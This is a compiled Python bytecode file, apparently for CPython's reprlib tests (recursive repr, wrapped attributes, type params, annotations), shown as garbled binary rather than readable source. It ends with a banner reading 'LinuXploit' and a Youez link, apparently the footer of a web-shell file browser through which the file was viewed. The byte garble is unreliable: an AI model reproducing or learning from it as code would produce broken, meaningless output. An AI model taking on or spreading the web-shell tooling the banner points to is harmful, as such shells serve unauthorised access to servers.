�__init__�ClassWithRepr.__init__s���rc�*�QUO*!)zClassWithRepr(%r)r�r�s&r
r��ClassWithRepr.__repr__s��"�T�V�V�+�+rr�)ryr�r�r�r�r�r�r�r�s@r
r�r�s�����,�,rr�c�(`�\sQsQsnQsQsUsP!)r��c��[Q2g)z+This should be caught by Repr.repr_instance)�	Exceptionr�s&r
r��ClassWithFailingRepr.__repr__s���E�F�Frrr�r�s@r
r�r�s����G�Grr�c�L`�\sQsQsnQsQsQs\2Q2sQs	Us
P!)�MyContainer�z"Helper class for TestRecursiveReprc�(�[U2UmP!r�)r�values)r'r�s&&r
r��MyContainer.__init__ s
���6�l��rc�>�UOOU2P!r�)r�rK)r'r�s&&r
rK�MyContainer.append"s�������5�!rc�r�QQO[[UO22*Q*!�rwz, r��r;�map�strr�r�s&r
r��MyContainer.__repr__$�&���T�Y�Y�s�3����4�5�5��;�;r)r�)ryr�r�r��__doc__r�rKrr�r�r�r�s@r
r�r�s'����(�#�"���<��<rr�c�>`�\sQsQsn\Q2Q2sQsUsP!)�MyContainer2�(rAc�r�QQO[[UO22*Q*!r�r�r�s&r
r��MyContainer2.__repr__)r�rr�ryr�r�r�rr�r�r�r�s@r
r�r�(s�����E��<��<rr�c�F`�\sQsQsnQs\s\2\2sQsUs	P!)�MyContainer3�-c��P!)zTest document contentrr�s&r
r��MyContainer3.__repr__.s��rr)
ryr�r�r�r��wrappedr�wrapperr�r�r�s@r
r�r�-s����
��G���w�'�Grr�c�@`�\sQsQsnQsQsQsQsQsQs	Us
P!)�TestRecursiveRepr�4c��[[Q22oUOU2UOQ2UOU2UO[	U2Q2[[Q22oUOU2UOQ2UOU2UO[	U2Q2P!)�abcder�z<a, b, c, d, e, ..., x, ...>z<a, b, c, d, e, +++, x, +++>)r�rrKr%rr�)r'�ms& r
�test_recursive_repr�%TestRecursiveRepr.test_recursive_repr5s�����W�
�&��	�����	����
�	���������a��"@�A���g��'��	�����	����
�	���������a��"@�Arc	��]QHGo[Oo[OoSFD'oUO[
V42[
V$22J)	P!)rL)�WRAPPER_ASSIGNMENTS)�	functoolsr�r�r�r��assertIsr&)r'�assignedr�r�rs&    r
�test_assigned_attributes�*TestRecursiveRepr.test_assigned_attributesAs=��=��&�&���&�&���D��M�M�'�'�0�'�'�2H�I�rc�|�QQ2oUOUOUOO2P!)c�F`�\sQsQsnQs\s\2\2sQsUsP!)�,TestRecursiveRepr.test__wrapped__.<locals>.X�Ic��Q!)zX()rr�s&r
r��5TestRecursiveRepr.test__wrapped__.<locals>.X.__repr__Js��rr)	ryr�r�r�r��frr�r�r�s@r
�Xr�Is����
��A�%�'��1�Hrr�)r�r�r��__wrapped__)r'r�s& r
�test__wrapped__�!TestRecursiveRepr.test__wrapped__Hs*��	2�	2�	
�
�
�a�c�c�1�:�:�1�1�2rc��QQ2oU2OOoUO[U2]2UOU]*OQ2UOU]*O
[2P!)c�N`�\sQsQsn\2QU1Qkt22sQsUsP!)�1TestRecursiveRepr.test__type_params__.<locals>.My�Rc�<:`�QQU1Qkk49n1UUU1QkQkkt4!)�TrBc�:�U]6�cPgRZ!)rD�r�)�.formatr�s"�r
r��3TestRecursiveRepr.test__type_params__.<locals>.My.TTs���C�Crc�(:�U]6�cPgQRYQRZ-!)rD�default�returnr�)�formatr�r�s"��r
�__annotate__�GTestRecursiveRepr.test__type_params__.<locals>.My.__repr__.__annotate__Ts���
�
��
�3�
rc��U!r�r�r'r�s&&r
r��:TestRecursiveRepr.test__type_params__.<locals>.My.__repr__S����rr)�	.defaultsr�r�s&@�r
� <generic parameters of __repr__>�RTestRecursiveRepr.test__type_params__.<locals>.My.<generic parameters of __repr__>Ss����C��
�
rr)�r�r�s@r
�Myr�Rs����
�
�
�
��
rr�r�)r��__type_params__r%r\ry�	__bound__r�)r'r��type_paramss&  r
�test__type_params__�%TestRecursiveRepr.test__type_params__Qsh��	�	�
�d�m�m�3�3������[�)�1�-�����Q��0�0�#�6�����Q��1�1�3�7rc	���QQ2o[OUO[OOQ5oUOUQ[
QUOQ5-2P!)c�L`�\sQsQsn\2QU1QkQkk2sQsUsP!)�.TestRecursiveRepr.test_annotations.<locals>.My�]c�":�U]6�cPgQRZ-!)rDr�)�	undefined)r�r�s"�r
r��DTestRecursiveRepr.test_annotations.<locals>.My.__repr__.__annotate___s���
�
�	�
rc��U!r�rr�s&&r
r��7TestRecursiveRepr.test_annotations.<locals>.My.__repr__^r�rr).r�r�s@r
r�r�]s����
�
�
�
��
rr�)r�r�r�)�owner)�
annotationlib�get_annotationsr��Format�
FORWARDREFr%r)r'r��annotationss&  r
�test_annotations�"TestRecursiveRepr.test_annotations\sZ��	�	�
$�3�3��K�K�
� 4� 4� ?� ?�
��	
����
�)�+�R�[�[�I�J�	
rr)ryr�r�r�r�r�r�r�r�r�r�r�s@r
r�r�4s%����
B�J�3�	8�
�
rr��__main__) r�r�r~r:r?rE�importlib.utilr�r��test.supportrr�test.support.os_helperr�reprlibrr7rrr�TestCaserr3r5r�r�r�r�r�r�ry�mainrrr
�<module>rs����
�
�	�
�����3�4���"�
�n	<��!�!�n	<�`�A
�8�$�$�A
�F,�,�G�G�<�<�<�;�<�
(�(�4
��)�)�4
�l�z���M�M�O�r

Youez - 2016 - github.com/yon3zu
LinuXploit